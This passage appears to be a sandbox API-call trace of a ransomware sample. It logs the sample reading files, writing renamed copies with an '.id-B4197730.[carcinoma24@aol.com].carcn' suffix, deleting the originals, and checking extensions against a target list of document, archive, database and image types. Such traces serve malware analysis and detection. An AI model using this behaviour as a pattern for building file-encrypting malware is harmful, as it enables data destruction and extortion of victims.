nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x90, lpOverlapped=0x0) returned 1 [0158.696] ReadFile (in: hFile=0x2f0, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0158.696] WriteFile (in: hFile=0x2e4, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xea, lpOverlapped=0x0) returned 1 [0158.696] SetEndOfFile (hFile=0x2e4) returned 1 [0158.697] CloseHandle (hObject=0x2e4) returned 1 [0158.697] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0158.697] SetEndOfFile (hFile=0x2f0) returned 1 [0158.698] CloseHandle (hObject=0x2f0) returned 1 [0158.698] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x26) returned 1 [0158.698] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 1 [0158.698] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0158.698] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0158.698] lstrlenW (lpString=".doc") returned 4 [0158.699] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0158.699] lstrlenW (lpString=".docx") returned 5 [0158.699] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0158.699] lstrlenW (lpString=".pdf") returned 4 [0158.699] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0158.699] lstrlenW (lpString=".xls") returned 4 [0158.699] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0158.699] lstrlenW (lpString=".xlsx") returned 5 [0158.699] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0158.699] lstrlenW (lpString=".ppt") returned 4 [0158.699] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0158.699] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0158.699] lstrlenW (lpString=".zip") returned 4 [0158.699] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0158.699] lstrlenW (lpString=".rar") returned 4 [0158.699] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0158.699] lstrlenW (lpString=".bz2") returned 4 [0158.699] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0158.699] lstrlenW (lpString=".7z") returned 3 [0158.699] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0158.699] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0158.699] lstrlenW (lpString=".dbf") returned 4 [0158.699] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0158.699] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0158.699] lstrlenW (lpString=".1cd") returned 4 [0158.699] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0158.699] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0158.699] lstrlenW (lpString=".jpg") returned 4 [0158.699] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0158.699] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0158.699] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0158.700] lstrlenW (lpString=".doc") returned 4 [0158.700] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0158.700] lstrlenW (lpString=".docx") returned 5 [0158.700] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0158.700] lstrlenW (lpString=".pdf") returned 4 [0158.700] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0158.700] lstrlenW (lpString=".xls") returned 4 [0158.700] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0158.700] lstrlenW (lpString=".xlsx") returned 5 [0158.700] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0158.700] lstrlenW (lpString=".ppt") returned 4 [0158.700] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0158.700] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0158.700] lstrlenW (lpString=".zip") returned 4 [0158.700] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0158.700] lstrlenW (lpString=".rar") returned 4 [0158.700] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0158.700] lstrlenW (lpString=".bz2") returned 4 [0158.700] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0158.700] lstrlenW (lpString=".7z") returned 3 [0158.700] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0158.700] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0158.700] lstrlenW (lpString=".dbf") returned 4 [0158.700] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0158.700] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0158.700] lstrlenW (lpString=".1cd") returned 4 [0158.700] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0158.700] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0158.700] lstrlenW (lpString=".jpg") returned 4 [0158.700] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0158.700] lstrcmpiW (lpString1=".rtf", lpString2=".carcn") returned 1 [0158.701] lstrlenW (lpString="eula.rtf") returned 8 [0158.701] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.707] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=7567) returned 1 [0158.707] CloseHandle (hObject=0x2fc) returned 1 [0158.707] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 0x80 [0158.707] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0158.708] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0158.708] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0158.708] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0158.708] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0158.710] GetLastError () returned 0x0 [0158.710] ReadFile (in: hFile=0x300, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x1d8f, lpOverlapped=0x0) returned 1 [0158.752] WriteFile (in: hFile=0x2e4, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x1d90, lpOverlapped=0x0) returned 1 [0158.752] ReadFile (in: hFile=0x300, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0158.752] WriteFile (in: hFile=0x2e4, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xe4, lpOverlapped=0x0) returned 1 [0158.753] SetEndOfFile (hFile=0x2e4) returned 1 [0158.753] CloseHandle (hObject=0x2e4) returned 1 [0158.753] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0158.754] SetEndOfFile (hFile=0x300) returned 1 [0158.754] CloseHandle (hObject=0x300) returned 1 [0158.754] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0158.755] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 1 [0158.755] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0158.755] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0158.755] lstrlenW (lpString=".doc") returned 4 [0158.755] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0158.755] lstrlenW (lpString=".docx") returned 5 [0158.755] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0158.755] lstrlenW (lpString=".pdf") returned 4 [0158.755] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0158.755] lstrlenW (lpString=".xls") returned 4 [0158.755] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0158.755] lstrlenW (lpString=".xlsx") returned 5 [0158.755] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0158.755] lstrlenW (lpString=".ppt") returned 4 [0158.755] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0158.755] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0158.755] lstrlenW (lpString=".zip") returned 4 [0158.755] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0158.755] lstrlenW (lpString=".rar") returned 4 [0158.755] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0158.755] lstrlenW (lpString=".bz2") returned 4 [0158.755] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0158.755] lstrlenW (lpString=".7z") returned 3 [0158.755] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0158.755] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0158.755] lstrlenW (lpString=".dbf") returned 4 [0158.755] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0158.755] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0158.755] lstrlenW (lpString=".1cd") returned 4 [0158.756] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0158.756] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0158.756] lstrlenW (lpString=".jpg") returned 4 [0158.756] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0158.756] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0158.756] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0158.756] lstrlenW (lpString=".doc") returned 4 [0158.756] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0158.756] lstrlenW (lpString=".docx") returned 5 [0158.756] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0158.756] lstrlenW (lpString=".pdf") returned 4 [0158.756] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0158.756] lstrlenW (lpString=".xls") returned 4 [0158.756] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0158.756] lstrlenW (lpString=".xlsx") returned 5 [0158.756] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0158.756] lstrlenW (lpString=".ppt") returned 4 [0158.756] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0158.756] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0158.756] lstrlenW (lpString=".zip") returned 4 [0158.756] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0158.756] lstrlenW (lpString=".rar") returned 4 [0158.756] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0158.756] lstrlenW (lpString=".bz2") returned 4 [0158.756] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0158.756] lstrlenW (lpString=".7z") returned 3 [0158.756] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0158.756] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0158.756] lstrlenW (lpString=".dbf") returned 4 [0158.756] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0158.756] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0158.756] lstrlenW (lpString=".1cd") returned 4 [0158.756] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0158.756] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0158.756] lstrlenW (lpString=".jpg") returned 4 [0158.757] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0158.757] Sleep (dwMilliseconds=0x64) [0158.969] lstrcmpiW (lpString1=".rtf", lpString2=".carcn") returned 1 [0158.969] lstrlenW (lpString="eula.rtf") returned 8 [0158.969] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0158.971] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=3726) returned 1 [0158.971] CloseHandle (hObject=0x318) returned 1 [0158.971] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 0x80 [0158.971] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0158.971] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0158.971] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0158.972] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0158.972] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0158.972] GetLastError () returned 0x0 [0158.972] ReadFile (in: hFile=0x318, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0xe8e, lpOverlapped=0x0) returned 1 [0159.193] WriteFile (in: hFile=0x31c, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xe90, lpOverlapped=0x0) returned 1 [0159.194] ReadFile (in: hFile=0x318, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0159.194] WriteFile (in: hFile=0x31c, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xe4, lpOverlapped=0x0) returned 1 [0159.194] SetEndOfFile (hFile=0x31c) returned 1 [0159.194] CloseHandle (hObject=0x31c) returned 1 [0159.194] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0159.194] SetEndOfFile (hFile=0x318) returned 1 [0159.195] CloseHandle (hObject=0x318) returned 1 [0159.195] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0159.195] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 1 [0159.196] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0159.196] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0159.196] lstrlenW (lpString=".doc") returned 4 [0159.196] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0159.196] lstrlenW (lpString=".docx") returned 5 [0159.196] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0159.196] lstrlenW (lpString=".pdf") returned 4 [0159.196] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0159.196] lstrlenW (lpString=".xls") returned 4 [0159.196] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0159.196] lstrlenW (lpString=".xlsx") returned 5 [0159.196] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0159.196] lstrlenW (lpString=".ppt") returned 4 [0159.196] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0159.196] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0159.196] lstrlenW (lpString=".zip") returned 4 [0159.196] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0159.196] lstrlenW (lpString=".rar") returned 4 [0159.196] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0159.196] lstrlenW (lpString=".bz2") returned 4 [0159.196] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0159.196] lstrlenW (lpString=".7z") returned 3 [0159.196] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0159.196] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0159.196] lstrlenW (lpString=".dbf") returned 4 [0159.196] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0159.196] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0159.196] lstrlenW (lpString=".1cd") returned 4 [0159.196] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0159.197] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0159.197] lstrlenW (lpString=".jpg") returned 4 [0159.197] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0159.197] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0159.197] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0159.197] lstrlenW (lpString=".doc") returned 4 [0159.197] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0159.197] lstrlenW (lpString=".docx") returned 5 [0159.197] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0159.197] lstrlenW (lpString=".pdf") returned 4 [0159.197] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0159.197] lstrlenW (lpString=".xls") returned 4 [0159.197] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0159.197] lstrlenW (lpString=".xlsx") returned 5 [0159.197] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0159.197] lstrlenW (lpString=".ppt") returned 4 [0159.197] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0159.197] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0159.197] lstrlenW (lpString=".zip") returned 4 [0159.197] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0159.197] lstrlenW (lpString=".rar") returned 4 [0159.197] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0159.197] lstrlenW (lpString=".bz2") returned 4 [0159.197] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0159.197] lstrlenW (lpString=".7z") returned 3 [0159.197] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0159.197] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0159.197] lstrlenW (lpString=".dbf") returned 4 [0159.197] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0159.197] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0159.197] lstrlenW (lpString=".1cd") returned 4 [0159.197] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0159.197] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35 [0159.197] lstrlenW (lpString=".jpg") returned 4 [0159.197] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0159.198] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0159.198] lstrlenW (lpString="LocalizedData.xml") returned 17 [0159.198] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0159.198] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=82346) returned 1 [0159.198] CloseHandle (hObject=0x318) returned 1 [0159.198] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 0x80 [0159.198] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0159.198] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0159.198] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0159.198] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0159.198] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0159.199] GetLastError () returned 0x0 [0159.199] ReadFile (in: hFile=0x318, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x141aa, lpOverlapped=0x0) returned 1 [0159.296] WriteFile (in: hFile=0x31c, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x141b0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x141b0, lpOverlapped=0x0) returned 1 [0159.298] ReadFile (in: hFile=0x318, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0159.298] WriteFile (in: hFile=0x31c, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xf6, lpOverlapped=0x0) returned 1 [0159.298] SetEndOfFile (hFile=0x31c) returned 1 [0159.298] CloseHandle (hObject=0x31c) returned 1 [0159.300] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0159.300] SetEndOfFile (hFile=0x318) returned 1 [0159.302] CloseHandle (hObject=0x318) returned 1 [0159.302] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0159.302] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 1 [0159.303] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0159.303] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0159.303] lstrlenW (lpString=".doc") returned 4 [0159.303] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0159.303] lstrlenW (lpString=".docx") returned 5 [0159.303] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0159.303] lstrlenW (lpString=".pdf") returned 4 [0159.303] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0159.303] lstrlenW (lpString=".xls") returned 4 [0159.303] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0159.303] lstrlenW (lpString=".xlsx") returned 5 [0159.303] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0159.303] lstrlenW (lpString=".ppt") returned 4 [0159.303] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 